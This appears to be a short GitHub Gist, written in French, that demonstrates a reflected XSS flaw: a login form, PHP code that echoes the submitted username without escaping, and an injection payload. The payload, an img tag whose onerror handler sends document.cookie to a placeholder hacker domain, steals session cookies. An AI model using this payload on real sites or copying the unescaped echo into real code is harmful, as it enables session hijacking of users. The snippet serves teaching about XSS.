Last active
July 14, 2017 21:29
-
-
Save quoidautre/ba5978651194c7e64c652dee25aea176 to your computer and use it in GitHub Desktop.
Faille XSS
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
HTML : | |
<html> | |
<form method="post" action="connexion.php"> | |
<input type="texte" name="pseudo" /> | |
<input type="submit" value="Connexion" /> | |
</form> | |
</html> | |
PHP : | |
<?php | |
echo "Bonjour ".$_POST['pseudo']." !" | |
?> | |
Injection, et.... oupssss ! : | |
<img src="azerty.jpg" onerror="window.location='http://www.site_du_hacker.com/recuperation_cookie.php?cookie='+document.cookie;" hidden> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment